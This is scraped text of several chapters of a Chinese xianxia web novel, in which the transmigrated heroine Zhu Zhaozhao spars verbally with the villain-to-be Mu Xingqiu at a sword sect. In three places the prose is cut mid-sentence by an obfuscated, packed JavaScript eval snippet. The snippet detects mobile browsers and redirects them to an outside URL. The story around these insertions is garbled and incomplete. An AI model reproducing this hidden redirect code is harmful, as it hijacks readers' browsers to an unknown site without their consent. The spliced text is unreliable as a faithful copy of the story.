随着邢子山和刑煜等人渐渐消失在视线中,祝昭昭冷着脸转身,然后和所有直愣愣看着她的目光对了个正着。 祝昭昭:…… 什么情况。 沉默了一下,她问:“怎么了?” 被祝昭昭先一步反问,云珈移开视线摸头发:“没怎么,我只是突然觉得……” “觉得什么?”祝昭昭皱眉。 见她皱眉,云珈当场倒吸一口凉气,动静之大,都把祝昭昭吓一跳。 云珈小声逼逼:“觉得新生班老大应该换你来当。” 老大? 什么老大。 略带疑问的目光依次扫过新生班的每个人,祝昭昭想看看有没有人能回答她。 然而毫无例外地,她视线每扫过一个人,被看到的人就触电般移开目光。速度之快,仿佛什么接力赛。 祝昭昭看得直纳闷。 非常不解地摸摸自己脸,她没在这个问题上纠结太久。 快步走到白月书身旁,看着恢复惯常神色的她,祝昭昭小心翼翼地问:“月书师姐,你没事吧?” “没事。” 示意秦之衡收起药瓶,怕祝昭昭担心自己,白月书朝她笑笑:“方才大师兄抵挡及时,我并未受伤。” 说着看向身后新生班的众人,白月书道:“今日之事我会告知掌教,大家先回去吧。” 掌教不在,就听老生班的师兄师姐的。众人闻言,纷纷和祝昭昭等人告别,小院里很快只剩下五长老的三个弟子外加一个祝昭昭。 而随着小院的安静,奇怪的氛围开始在四人中间蔓延。 其他人现在什么反应祝昭昭不知道,但她此刻真的感觉浑身刺挠。 为什么? 因为慕行秋看着她的目光存在感实在太强了! 他看也就算了,关键他半点没有掩饰或者收敛的意思,一双眼睛笑得弯弯,就是一个劲地盯着她瞧。 所以到底看什么看啊! 祝昭昭:一键查询大反派精神状态。 被看得不胜其烦。忍无可忍的祝昭昭准备直接问他究竟在看什么。 然后下一秒,就听到慕行秋开口。 他说—— “昭昭小师妹,你眼下乌青好重。” 28. 月书把你夸得天上有地下无 啥? 原本相当不爽的心情顿时像是被按了暂停键,祝昭昭脸上表情一瞬空白。 是不是有点太无厘头了? 有点双脚发黑去看医生,然后被诊断为袜子褪色那意思了。 所以这大反派到底突然在说什么? 甚至没办法立刻组织语言来回答他的问题,祝昭昭沉默了一下,试图把脑子里断联了的反射弧接起来。 然后她答:“多亏你教学方法好。” 答完更沉默了。 来个人告诉她,她到底为什么会说出这种已经可以算是当着正主面嘴人的话。 无厘头会传染是吗? 无视白月书和秦之衡脸上山崩地裂的表情,祝昭昭当做什么都没发生:“月书师姐,大家都走了,我们不回去吗?” “哦、嗯。” 从震惊里回神,自觉失态的白月书有点不好意思:“回,我们也准备回去。” 轻咳一声叫醒还在发呆的秦之衡,白月书征询慕行秋的意见:“师兄,那我们这便回去吧?” 慕行秋笑笑,没什么所谓:“好。” 话落就闪身消失在原地。慕行秋一走,气氛明显放松下来。 如果说祝昭昭是因为慕行秋是位面崩坏的罪魁祸首这个原因,所以和他不对付,那同为雾鸣山曾书的亲传弟子,白月书和秦之衡为什么也对他这个反应? 祝昭昭:看不懂一点。 秉持着不懂就问的良好品德,祝昭昭向白月书提出了这个问题。 得到她满含感慨的回答。 “大师兄今日过来,本只是因为掌教邀请他到老生班为我们在修行一事上指点一二。而他之所以来新生班……” 话说到这的时候,白月书忽然很可疑地沉默了下去。 最后是受到她眼神催促的秦之衡把剩下的话补完—— “之所以来新生班,是因为月书她前几日一直不断和大师兄提起昭昭师妹你。” 秦之衡也忽然沉默下来。 顶着祝昭昭一下子犀利起来的目光,他很艰难地继续:“月书和大师兄说昭昭师妹你不仅聪敏机警,帮我们要回了高阶玄铁,还善解人意,处处为我们着想,修行一事上更是无比勤勉——” “总之月书把师妹你夸得天上有地下无,让大师兄一定要见见你。大师兄见月书她态度如此坚决,所以……” 所以之后的事,大家都很清楚。 祝昭昭:…… 破案了。 原来是这样。 她就说昨晚两个人干嘛非要带她一起修炼到天亮,她就说好好的慕行秋闲得没事为什么突然跑来新生班。 原来是这两慕行秋的迷弟迷妹把他带来的。 脑海里控制不住地浮现出刚才自己嘴慕行秋然后被他抓包的炸裂社死场面,祝昭昭快把地面盯出两个洞来。 我真的谢谢你们,真的。 祝昭昭:熊猫吸氧·jpg “总之,我也没想到事情会变成这样。” 白月书站了出来。 她脸上写满歉意:“我本意是想让昭昭你在大师兄那里留下一个好印象,却没想过也许你并不喜欢这样,甚至最后还害得你差点被邢子山那家伙伤到。” “昭昭,师姐和你道歉。” “对不起。” 白月书说着,朝祝昭昭鞠了一躬。 她身旁的秦之衡见状,也和她一起弯下了腰。 眼前两人态度过于诚恳,祝昭昭挠挠面颊,反而有些过意不去。 毕竟说到底,公众场合嘴人的自己其实也没对到哪去,更别提邢子山的事—— 目光落在白月书身上,祝昭昭轻叹口气,无奈笑开:“月书师姐,之衡师兄。如果刚才不是你们,邢子山还不一定要借题发挥到什么时候。而且就像你们刚才说的,慕师兄是雾鸣山的大师兄,你们想让他对我有好印象再正常不过。” “我们都没错,只是有些事情发生的时机确实太不凑巧。”祝昭昭走到两人中间,分别拉住他们的手,“所以我们都不需要道歉。” “师兄师姐觉得呢?” 对上祝昭昭闪动着狡黠的双眼,两人先是一愣。 最后齐齐软下神色。 “好。” 两人异口同声。 * 回到雾鸣山的时候已经是傍晚。 夕阳西下,碎金般的光芒铺满整个雾鸣山。祝昭昭等人刚从剑上下来,就碰见已经等候多时的,曾书的侍童。 两位侍童低垂着眉眼:“主人请三位到明常殿。” 明常殿是雾鸣山的主殿,也是曾书用来待客的地方。闻言齐齐应了声是,祝昭昭等人跟着侍童一路前往。 也许是怕祝昭昭紧张,路上白月书还和她说悄悄话安慰她:“师父平日虽不苟言笑,但他人其实很好。昭昭你不必害怕。有什么可以和师姐说。” 祝昭昭乖乖点头。 明常殿不算远。三人跟着侍童,很快在一处宏伟大殿前停下。 两名侍童抬手朝大殿方向作‘请’的姿势:“主人就在殿中,还请三位入殿。” 与侍童道过谢,白月书和秦之衡带着祝昭昭走进明常殿。 殿中空旷,装饰也简单。黑瓦作顶,檀木作架,四面白墙,内里燃香。除了该有的基础家具布置外,再没有别的东西。 主座上坐着的中年男人想来就是五长老曾书,而他身旁站着的,则是刚刚才见的慕行秋。 目光越过白月书和秦之衡,准确无比地落在祝昭昭身上,慕行秋朝她笑得眉眼微弯,仿佛新生班里的事从未发生过。 但看着那张对自己释放善意的,赏心悦目的脸,祝昭昭心里没有半点被引动的风花雪月。 她满心凛然。 面对当众嘴自己的人竟然还能笑得那么和善。 这是正常人能干得出来的事吗? 对慕行秋的危险程度认知进一步加深,祝昭昭肃然起敬的同时更加警惕。 祝昭昭:绝不能被迷惑! “师父。” 脑内思维正发散,身前的白月书和秦之衡朝曾书行礼。 祝昭昭便也跟着两人鞠躬。 曾书微一颔首:“起来吧。” 目光从三人身上一一扫过,最后锁定在祝昭昭身上,他沉声:“你便是掌筠新收的亲传弟子么。” “是。”缓步从白月书身后走出来,祝昭昭望着主座上的曾书。 大概四五十年纪的长相,他乌黑中夹杂着些许白丝的头发束得整齐;浓密笔挺的剑眉下,一双眼眸光沉稳而淡漠;修剪得当的胡须正好覆盖在微微覆舟的嘴上方。 半点褶皱不见的棕色绣金纹衣袍配上端正的坐姿,让他整个人散发着一种规矩到古板的气场。 很符合大部分人对‘长辈’和‘教导者’的基本印象。 曾书问她:“你是什么时候来到雾鸣山的。” 什么时候来到雾鸣山的? 没想到曾书会突然问这个,祝昭昭一怔。 紧接着很快回答:“我来雾鸣山已有半月。” “半月。” 淡声重复后,曾书脸上露出了然神情:“如此说来,半月前月书确实传信与我,告诉我掌筠的亲传弟子要来。” 他说着,旋即又皱起眉头:“既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280511|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然如此,他前两日又为什么突然传信给七位长老,说他弟子不见了。” “你来之前没有告诉他么。” 祝昭昭怎么可能没告诉掌筠:“跟随月书师姐来雾鸣山当日我便传信于我师父,担心他忙于修炼收不到,我还特意留了一封信在房中。” 她就差没把去雾鸣山这事贴掌筠脑门上了。 听懂了祝昭昭的潜台词,曾书明白了问题确实不在她身上:“如此。那也许确实便是掌筠事务繁忙,导致未能及时知晓你的动向。” 祝昭昭清楚看见曾书说这话的时候,眼里那种自己都不信的神情。 能让这么不苟言笑的人都露出这种情绪,掌筠不靠谱确实是有目共睹。 她差点笑出声。 深谙某些时候多说多错少说少错的道理,祝昭昭眼观鼻鼻观心,力求在曾书面前把‘老实安静’的特质坐实。 方便以后如果需要鼓捣些什么出格事,不会第一个怀疑到她身上嘛。 祝昭昭:美滋滋。 满心算盘都打在曾书身上,祝昭昭因此没有注意到来自曾书身旁的,戏谑中带着探究的目光。 “听说你是月书和之衡从山下带上来的,是么。” 冷不丁听见曾书问这个问题,祝昭昭其实有些意外。 因为如果没猜错,掌筠似乎并没有对其他长老隐瞒她天玄山圣女的身份。六长老宁木灵见面就认出她,也从侧面证明了这点。 祝昭昭一直以为她的真实身份应该是所有长老都清楚的。 但现在曾书竟然问她‘是不是白月书和秦之衡从山下带来剑宗的’? 在有长老对她身份知情的前提下,曾书竟然不知道? 或者猜测得更大胆点。 难道掌筠和曾书之间,不是所有消息都相互流通的? 那么理由是? 无数念头在脑子里极速闪回,祝昭昭不动声色:“是。我是在山下集市和月书师姐与之衡师兄遇见后,他们引我入的剑宗。” 经验告诉祝昭昭,遇见这种反常事,最好保持现状。 就算要捅破窗户纸,也不能是她来。 曾书果然信了:“如此说来,我倒是平白损失一个天才弟子。” 闻言微微笑起来,祝昭昭客套阿谀:“五长老您座下三位弟子个个惊才绝艳,其他长老同样羡慕不已。” 这话夸到曾书心坎。 他神色更加柔和:“掌筠真是收了个好徒弟。” 话落朝祝昭昭微一颔首,曾书看向站在她边上的,自己的亲弟子白月书和秦之衡,开始询问两人的近况。 乐得被人遗忘,祝昭昭于是站着安静围观。 然而看着看着,她注意到一些不太明显但很有意思的问题。 目光从正微笑着和白月书与秦之衡说话的曾书身上收回,祝昭昭问202:“从你掌握的资料来看,曾书是个什么样的人。” “什么样的人?”202在祝昭昭脑海里翻滚,“就是比较常见的那种,严肃古板而且亲疏有别很厉害的中年男人咯。” 祝昭昭听得无语:“什么中年男人,他起码三百岁往上数。” 没再纠结这个事,她继续问:“对徒弟也亲疏有别?” “怎么可能。”202想都不想,“对他来说,徒弟都划在‘亲’的范围里。” “是么?”散漫的目光状似无意地再度落在曾书身上,这次,他在和身旁的慕行秋交代着什么。 两人的谈话内容,祝昭昭并不关心。但看着两人间那从交谈起就明显沉闷压抑起来的气氛,祝昭昭若有所思。 亲疏有别…… 吗? 29. 都怪我让月书师姐受了伤 没在明常殿待多久,曾书最后叮嘱了秦之衡几句完,便示意三人可以回去。 秦之衡和其他人有事约好,出了殿门就匆匆离开。剩下祝昭昭和白月书一起散步离开明常殿。 一出殿门就被白月书护在里面走,祝昭昭虽然哭笑不得,却还是遂了她的意。 今天发生的事太多,虽然表面上没说什么,实际上两人都已经有些疲于应付。于是谁都没有说话,祝昭昭和白月书就那么静静走在路上。 直到一阵风迎面吹来。 说是没什么大碍,但当风吹起白月书袖口的时候,看着她手背上的伤,祝昭昭心里还是一阵不是滋味。 低头,她语气低落:“月书师姐,很痛吧?” 正专心走路的白月书闻言一怔。 祝昭昭继续:“都是我不好,是我不该激怒邢子山。如果不是我惹得他恼羞成怒,他就不会突然动手,月书师姐你也不会……” 她低着头,白月书因此看不清她脸上神色。 却仍能听出她发自内心的内疚和歉意。 轻叹口气,白月书轻抚祝昭昭的头:“我说无碍并不是在安慰你。方才大师兄出手及时,邢子山的攻击的确没有伤到我。” “你不要难过。” “可是。”祝昭昭抬起头,“如果月书师姐你没有受伤,那你手背上那道伤口又是怎么回事?” 白月书于是看向自己手背。 “你说这个?”她抬手,祝昭昭得以更清晰地看见那道伤。 伤口很长,但并不深。褐色的血痂横亘在白月书透白的皮肤上,看起来分外狰狞。 祝昭昭点头:“这伤口那么长,一看就很疼。” 想到邢子山动手时那副狰狞模样,她恨恨。 狗小子玩不起,脸上挂不住就耍阴招。要不是大反派这会儿还做人,最后时刻拦了一下,女主角要是重伤,谁知道后面剧情会不会因此出岔子。 思忖着一阵后怕,祝昭昭浑没好气:“邢子山就不是什么好人,月书师姐你别因为担心同窗情替他说话。他这种人就该被重重处罚。” “等我找到机会,非得给这小子好好上一课。” 怕毁坏自己好不容易在白月书面前建立的乖乖形象,最后这句话祝昭昭是小声说的。 白月书只听见她含混不清的声音:“什么?” “没什么。”祝昭昭看着她手背上的伤口,“总之邢子山伤了你就是他的错,月书师姐你不要帮他说话。” “可是这个伤。” 白月书盯着手背上的血痂:“是前两天月汀拉着我去山下集市采买时,不小心刮到我的。” 祝昭昭怒:“所以才说……” 等等。 什么? 采买? 祝昭昭眨眨眼,继而很快想起白月书口中的‘月汀’,应该就是她第一次去老生班时见到的那个衣袍溅血,笑容甜美的师姐。 “是她刮伤了你?”祝昭昭犹不敢信。 “没错。”白月书点头,“当时她急着去抢最新折扣的锻剑材料,我动作稍慢了些,她便伸手拉我,然后不小心将我刮伤。” 竟然是因为抢折扣商品…… 祝昭昭大为震撼:“那月书师姐你为什么不擦些药让伤复原?” “因为没时间。”白月书一副理所当然的样子,“这两天我与之衡满心都在修炼上。加上这本是小伤,就随它去了。却没想到昭昭你……” 没再继续说,白月书捏捏祝昭昭的脸:“虽然邢子山可恶,但这次真不是他伤的我。昭昭你就不要再为他生气了。” 祝昭昭还能说什么? 她含泪微笑:“没事,我不生气。” 但既然话已经说开,她干脆直接把想说的话说完:“那月书师姐,为什么大师兄……” 她表情有点迟疑。 白月书态度坚定地让她说下去:“是。大师兄。” “好吧。”虽然有点不爽,但祝昭昭还是从善如流,“那最后为什么大师兄和邢子山说‘三个月囚魔塔狱卒’?” “那是让邢子山接下来三个月都要去囚魔塔受罚的意思吗?” “没错。”白月书答得干脆。 祝昭昭因此惊奇:“为什么?我以为那是只有二长老和她座下弟子才有的权利。” 一听这话,白月书脸上表情比祝昭昭还惊奇:“当然不是。你怎么会这么想。” 祝昭昭:…… 彳亍吧,一个位面一个设定,她了解。 “但某种程度上来说,你的理解其实没有问题。” 摸摸祝昭昭脑袋,白月书开始解释:“其实二长老上任时间并不长,而在她上任之前,宗内规则确实就像你说的那样,只有司掌某项权利的长老及他座下弟子有权管辖相应事项。” “但二长老上任后,有些事就变得不一样了。” 白月书目光落在道路前方:“其实一开始大师兄是要拜在二长老座下的。” 嗯? 完全是下意识地,祝昭昭脱口而出:“可他不是被五长老从魔族战场上捡回来的吗?” “就算是这样,也没有规定大师兄就一定要拜入师父座下。” 说着意识到什么,白月书眉头微皱,“昭昭,你为什么会知道这件事?” 糟。 突然想起这事是在天玄山听师姐们说的,祝昭昭心里咯噔一下。 表面却神色自如:“因为我先前说要来雾鸣山,我师父就把他知道的关于雾鸣山的事全部告诉我了。” 白月书还是怀疑:“可刚才我师父不是还说宗主正到处找你,都问到他头上来了吗?” “可能是他忘记了吧。”祝昭昭继续胡说八道,“毕竟我师父他总是不按常理出牌,说不定他这两天太忙,所以才把我已经来雾鸣山的事忘了。” “这倒确实有几分道理……” 白月书喃喃,紧接着就因为反应过来这话变相证明她觉得宗主不靠谱而惊慌:“我的意思是,宗主日理万机,有时确实会忘记一些事。” 她试图找掌筠日理万机的证明:“听说他前天因为被六长老的言鹦骂了,晚上偷偷去灵兽园喂那只言鹦喝百醉酿。那只言鹦到现在还没醒,气得六长老说逮到他绝不会轻饶。” 白月书说完,空气安静下来。 祝昭昭只能装作看不见她怀疑人生的表情:“所以为什么大师兄最后没有拜入二长老门下?” “因为大师兄不愿意。”白月书看向祝昭昭的目光里,满是被解围的感激,“大师兄说师父对他的恩情如同再造,他不愿拜在师父以外的任何人座下。” “大师兄把话说到那种程度,便是彻底无法回旋了。二长老虽然惋惜,但也因此更加满意大师兄的品行,于是她破例让大师兄入了掌刑司。” 白月书眼里闪动着自豪:“大师兄果然也不负她期盼,很快就以进步神速的修为与一众弟子中不断攀升的口碑,顺利成了迄今为止最年轻的掌刑司乾殿司主。” “那是仅次于二长老的位置。” “竟是如此。”了解完来龙去脉的祝昭昭感叹,“所以从某种程度上来说,大师兄其实可以说是二长老的编外弟子。” “没错。” 白月书点头:“因为这事,二长老和其他反对的长老吵了一架。没记错的话,反应最激烈的是三长老。” 祝昭昭:破案了。 师父都不喜欢的人,弟子怎么可能喜欢。 难怪邢子山那么讨厌慕行秋,估计是被耳濡目染了。 “可大师兄罚了邢子山。” 思忖着,祝昭昭想到某种可能性:“以邢子山的脾性与为人,他会不会找机会报复大师兄?” 不是她想关心慕行秋,主要是因为反水爆发这事不是一蹴而就的,谁知道哪件看似不起眼的事一不留神,就成了导致慕行秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一把薅过202手上的风油精拍在桌上,祝昭昭重新趴回去。 她脸色不太好看:“202,你当时到底怎么下的判断。” 边小心翼翼试图把风油精收回来,202边答:“什么?” “我是说,”祝昭昭一把按住风油精,“你当时怎么判断出我能在这个位面什么都不做,来这里就是休假的。” 这地方,根本没有表面上看着那么简单。 无视202眼巴巴的表情,祝昭昭把风油精放进空间袋:“总之不论如何,既然慕行秋已经见到,那我们现在的第一任务就是尽可能跟紧他。” “就算不能避免他最后反水,至少也要知道他反水的原因,好针对性解决问题。” “主人你在说什么啊。”202嚷嚷,“我们的任务就是阻止他毁灭小世界,当然要全力避免他反水啊。” “你要参考一下其他维护员的手段,比如趁机吸引他,搞搞感情牵制什么的……” “打住。” 祝昭昭听得两眼翻白:“首先,我任务执行时,从来允许任何情况发生。一味让事件朝着一种结果前进,只会把任务难度无限提高;其次,动不动就搞感情牵制——” 她一把拍在202头上:“我的时间和精力不是随便捡的,不到最后一刻,我不可能尝试这种方法。” 语毕站起身,祝昭昭斜倚在窗边:“以及你与其在这里给我玩任务教学,还不如和我一起想想,接下来我要怎么接近慕行秋。” * 事实上,祝昭昭并不需要担心这个问题。 因为第二天一大早,祝昭昭就从云珈那里得到了一个‘劲爆消息’。 “你知道吗,今天是新掌教代替白掌教给我们上课!” 看着云珈难掩兴奋的脸,几乎是下意识地,一个念头在祝昭昭脑海里升腾。 该不会是…… 也就在这时,门口处传来一道温和男声。 “看来我到的时辰刚好。” 眼瞳一瞬骤缩,祝昭昭回头。 正对上慕行秋含笑的眼睛。 30. 这就是主要角色才能拥有的特效吗? 很难评。 明明是背着光,整个人只有身形被勾勒出一圈光影,祝昭昭却就是清楚地瞧见了慕行秋那双笑眼。 光知道男女主角会有这种单独特效形式表现,没想到反派也能有。 老实说,很好看,甚至可以称得上一句惊艳。瞬间安静下来的周围也能证明这点。 但祝昭昭总觉得哪里不对劲。 不甚清晰的身影只有眼睛看得分明,那不就是…… “车头灯!” 202不知道什么时候突然冒出来,语气还很兴奋:“深夜的车头灯嘛,什么都不亮就那俩灯亮,照得前路一清二楚……” 剩下的话没说完,因为又愤怒又无语的祝昭昭咬牙捂住了它叭叭个不停的嘴。 什么东西? 就算不是男女主,也不能用这种词来形容大反派!! 太怪了好吗?! 祝昭昭拼命想把202的逆天言论扔出脑海,但她越努力想忘,那句‘车头灯’就越清晰地印在脑海,最后甚至已经带上回音。 内心都开始流血泪,祝昭昭恨不得当场把202噶了。 理所当然地,她面部表情很快开始从平静往抓狂发展。 但又不是整张脸扭曲,而是只有嘴巴越抿越紧,和僵直放空的眼神组合在一起,整体观感不可谓不震撼。 饶是表情管理极少出错的慕行秋,见状都有些按捺不住。 嘴边笑意微滞,他略带疑问:“祝师妹可是有哪里不舒服?” “没有。” 伴随着脑袋里不断回响的‘车头灯’三个字,祝昭昭目光呆滞地看着慕行秋,扯出一个僵硬无比的笑:“我没有哪里,不舒服。” “如此。” 笑意重新出现在嘴边,慕行秋语气意味深长:“不是因为担心加练就好。否则稍后你若生气,倒成了我的不是。” “祝师妹以为呢?” 表情管理成功被慕行秋两句话干回来,祝昭昭沉默。 以为? 以为什么? 以为你这大反派虽然八百个心眼子,还半路反水乱杀修真界,但应该还算有风度,不至于张嘴就阴阳人吗? 那她确实以为错了。 已经在脑海里揍扁202,祝昭昭望着慕行秋,扯出一抹相当标准的公式笑容:“慕师兄说的自然是对的。” 不等慕行秋反应,她继续道:“只是我同样以为,修道者,追求道法自然,顺势而为。一味强求修为上的精进而忽略其他,反而不美。” “慕师兄一定深谙此理,对不对?” 慕行秋闻言先是一怔。 片刻后,他和颜悦色—— “是。祝师妹说得没错。” 两个人看着对方,笑得都很礼貌。 语毕朝祝昭昭微一颔首,他起身,径直走到讲桌前。 目光在整个课室梭巡一圈,尤其在一副专心听讲模样的祝昭昭脸上多停留了片刻后,慕行秋开口:“白掌教有事被抽调离宗,他不在的这段时间,由我代为授课。” 话落,讲台下传来一阵议论声。 有人大声发问:“能让白掌教都被抽调走,什么事这么重要?” 这问题也是其他人想问的,课室安静下来,所有人都等着慕行秋的答案。 慕行秋倒是本来也没打算隐瞒:“月流境前两日传讯一众宗门,他们的弟子在晋罗山历练时死伤惨重。侥幸存活的弟子带回消息后,他们前往晋罗山查看,发现那处有魔气流窜的痕迹。” 竟然是魔气。 课室里瞬间落针可闻。 要知道自从最后一次修真界与魔族的大战过后,所有魔族就都被赶到了天枯山脉。 当时的修真界最强战力青云剑仙为了永绝后患,一剑斩开原本与修真界相连的天枯山脉,彻底将之与修真界划清界限。 而以被斩出的深渊为守魔界,魔族从此彻底消失在修真界中,至今已有数百载。 但现在却有人在修真界内发现了魔气? 这是什么概念? 不止其他人,祝昭昭也被这件事引起了注意。 因为在上周目,魔族是在接近慕行秋黑化发疯的时间点出现在修真界的,她因此一直以为慕行秋是间接,或者干脆就是导致魔族攻入修真界的原因。 现在看来却似乎不是这样? 可如果魔族入侵与慕行秋无关,那他们又是从什么时候开始渗入修真界的? 慕行秋对此是否知情? 放空的目光不自觉落在讲台上站着的人。察觉到祝昭昭的视线,慕行秋朝她微微一笑。 笑什么笑! 什么乱七八糟的事都和你脱不了干系! 祝昭昭:烦死。 这边祝昭昭面无表情移开视线,那边被魔气出现的消息震撼的弟子们终于反应过来。 于是有人再问:“那白掌教大概什么时候回来?” “不知道。” 慕行秋慢悠悠地翻着手里白修之交给他的,砖头那么厚的书:“短则数日,长则数月乃至数年。什么时候事情解决了,他自然就会回来。在此之前——” 他放下书:“都会是我来教导你们。” 话音落下的同时,目光也停留在第一排的刑煜身上。看着他犹带不服的脸,慕行秋开口,语气别有深意—— “希望各位能与我一起,学到有用的东西。” * 想来白修之离开前应该和慕行秋交接过大概教学进度,是以慕行秋得以熟门熟路翻到白修之最后讲到的页数开始接着讲。 祝昭昭一开始其实并不觉得慕行秋能讲得多好。 不是她不相信慕行秋不会教,反倒是因为担心他太会教—— 会教到直接一股脑把内容讲完,然后让你自己悟。 毕竟课后加练超级难度的剑招,还让人自己悟这种事他都做得出来。 虽然被要求加练的对象,是名副其实的位面中心,故事的男女主,人家最后不管怎么琢磨都能琢磨出来头绪来。 但并不代表这件事,这种教学方法就能适配所有人啊! 怕就怕慕行秋教了两个天之骄子后就觉得自己行了,谁都能被这么教了,然后把这套方法套在所有人身上。 祝昭昭倒是无所谓。毕竟对她来说,只有了解过和没了解过的区别,不存在了解了却理解不了这种可能性。 就是要苦了其他听课的人了。 看着身旁正专心准备笔记的云珈,祝昭昭的目光里多了丝丝同情。 这边祝昭昭正出神,那边慕行秋终于开始讲课。 然而出乎祝昭昭的预料,慕行秋的讲课方式并不像他教导白月书和秦之衡时那样晦涩深奥,反而非常深入浅出,直击重点。 而且很神奇的一点是,有些可能白修之来讲都不一定讲得清楚的内容到了慕行秋嘴中,竟然就能非常清楚地被表述出来。 还是以一种所有人都能理解的方式。 就连祝昭昭自己在听了一部分内容后,都在原本理解的基础上,又多了新视角带来的全新理解。 这是很多掌教都难以做到的。 意识到这点,祝昭昭有些意外。 也就在这时,祝昭昭突然感觉桌子底下的衣摆传来被拉扯的感觉。 是同桌的云珈。 看着她做贼一样欲说还休的表情,祝昭昭拧眉,然后在扭头的瞬间,正对站在桌边的慕行秋。 祝昭昭:…… 玩闪现?有事吗? 气氛沉默得有点奇怪,祝昭昭感到了一丝不妙:“怎么了,师……掌教有什么事吗?” “没什么事。” 慕行秋和颜悦色:“只是想问问你对我刚才讲的那一段,有何见解。” 呦? 这是课堂随机抽测来了? 好像又不太像,否则云珈怎么一副做贼心虚的样子。 正一头雾水时,祝昭昭突然灵光一闪。 难道就是冲着我来的? 因为发现我刚才在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280513|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神游了? 祝昭昭恍然大悟。 对慕行秋的态度也从刚开始的莫名,变成了一种‘我倒要看看你能整出什么幺蛾子’的胜负欲。 她准确无比地点出了慕行秋刚刚讲的那段内容。 不止是点出内容,带着一种微妙的示威意思,祝昭昭顺便讲出了与那段内容相关的知识要点。回答之流畅,逻辑之清晰,让原本都准备看好戏的刑煜等人都呆在原地。 最后总结完,祝昭昭在满课室的寂静里,径直注视着慕行秋。 她就看看慕行秋接下来准备怎么做。 如祝昭昭所想,片刻之后,慕行秋动了。 他朝她伸手。 以为慕行秋是想拿戒尺教训自己,给其他人上眼药,祝昭昭下意识做了抵挡的动作。 然而朝自己伸来的手在两人之间停下来,慕行秋打开握住的手掌—— 里面是一块样式精巧的铜制方块。 望着上面篆刻的精细符文,祝昭昭问:“这是什么。” 慕行秋笑眯眯地:“你猜。” 祝昭昭刚想说什么,就听见身旁的云珈抢先道:“这不是山下琳琅阁最时兴的空间首饰盒嘛?” 对上祝昭昭和慕行秋齐刷刷盯着自己的视线,云珈一把捂住嘴。 慕行秋于是抬抬手:“拿着,这是你对答如流的奖励。” ‘对答如流’四个字咬得别有深意,祝昭昭一听就想送慕行秋两个白眼。 然而将要婉拒的最后一刻,她改变了主意。 小心翼翼从慕行秋掌心捻起那颗首饰盒,她语气礼貌又敷衍:“谢谢掌教。” “不客气。” 满意地看着祝昭昭把首饰盒收起,慕行秋贴心提醒:“记得回去再打开。” 祝昭昭皮笑肉不笑:“好的。” * 回到小屋时已是黄昏,身心俱疲的祝昭昭往身上施了个净尘诀就往床上倒。 从空间袋里取出慕行秋给的首饰盒,她将之捏在指间。 窗外照进来的夕阳打在小巧的首饰盒,祝昭昭这才发现盒子上竟然点缀着细碎的翠绿色晶石。晶石随着她的动作,在光下折射出美丽的光彩。 眼中倒映出那些色彩,她略微出神:“202,你说那家伙为什么突然送我这种东西。” “也许是见面礼?”202出现在首饰盒旁边,“毕竟你们对彼此第一印象都很差,而他作为师长,之后又要教你很长一段时间,可能就想送点什么改变你对他的看法。” “你这么说也有道理。” 将首饰盒抛起后从床上弹起身接住,祝昭昭若有所思地看着掌心。 所以为了缓和关系,慕行秋会送什么东西给自己? 带着点好奇的心情,她催动首饰盒上的符箓。 下一秒,一本书从半空掉下来。 她就知道。 带着一种意外又不意外的复杂心情把书捡起,看着封面上大大的‘剑谱’两个字,祝昭昭面无表情。 这名字,村口菜市场五块三本的水平。 所以是买首饰盒送的? 问题是什么老板才会往首饰盒里塞剑谱? 祝昭昭本来是不理解的。 可一想到首饰店是剑宗脚下的首饰店,祝昭昭又突然不是很确定。 毕竟大部分弟子的本命剑都是在山下换的造型,首饰盒的赠品是剑谱又有什么可奇怪? 祝昭昭释然。 本来想把手上书册扔回首饰盒,然而就在她准备动手的时候,一张纸从书里滑下。 这次祝昭昭没有捡,因为她直接看到了上面写着的内容—— 第一句:‘明日,我会抽查。’ 第二句:‘记得不要丢掉。’ 言简意赅两句话,将慕行秋早就预料到祝昭昭会把书丢掉,所以提早警告的形象刻画得惟妙惟肖。 目光落在文末画着的,仿佛挑衅的笑脸,祝昭昭深吸一口气。 大反派,果然就应该被残酷对待。 31. 把守魔界的工作纪念带来干嘛? 新生班院外—— 矮桌上摆着一壶一杯,袅袅轻烟自杯中升起。满是茶香的烟气之后,慕行秋望着面前的一排排面带疑惑的师弟妹。 “今日课程,需要在院子里开始。” 慕行秋刚说完,云珈就满脸期待地摸向腰间本命剑:“太好了,是实战课提前吗?抽签还是顺位?” 唇边多了丝笑意,慕行秋轻啜口茶:“云小师妹稍安勿躁。“” “今日之课,是习剑。” 排排站的师弟妹们的眼神顿时变得清澈而愚蠢:“习剑?” “对。” “但教你们的不是我。” 茶杯放在桌上带出一声轻响,慕行秋看向祝昭昭:“祝师妹,昨日的礼物可还喜欢?” “为大家演示一番如何?” 如何? 不如何。 无视齐刷刷落在自己身上的视线,祝昭昭眉眼弯弯:“恕师妹愚钝,师妹并未参透礼物中的奥秘。” 指尖轻扣桌面,慕行秋毫不意外这回答:“是么。” 祝昭昭轻快重复:“是。” 小样,你让干什么就干什么? 美得你。 